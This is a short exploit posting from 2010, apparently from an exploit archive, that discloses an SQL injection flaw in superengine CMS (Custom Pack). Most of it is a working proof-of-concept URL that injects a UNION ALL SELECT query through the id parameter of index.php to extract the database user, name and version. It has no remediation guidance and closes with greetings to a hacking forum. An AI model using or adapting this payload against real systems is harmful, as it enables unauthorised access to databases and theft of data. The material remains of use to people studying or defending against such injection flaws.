superenginecms-sql.txt
Posted on 15 February 2010
.__.__ _______ _|__| | ____________ ____ ____ _/ __ / / | | \___ / _ / \_/ __ \n ___/ /| | |__/ ( <_> ) | ___/ \___ >\_/ |__|____/_____ \____/|___| /\___ > / / / / .org Author: 10n1z3d <10n1z3d[at]w[dot]cn> Date: 15/02/2010 --------------------------------------------------------- superengine CMS (Custom Pack) SQL Injection Vulnerability --------------------------------------------------------- Vendor: http://superengine.ro/ Vuln: http://[server]/index.php?mod=0&id=1[SQLI] PoC: http://[server]/index.php?mod=0&id=-1337+UNION+ALL+SELECT+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6-- --------------------------------------------------------- Greetz to all evilzone.org members.
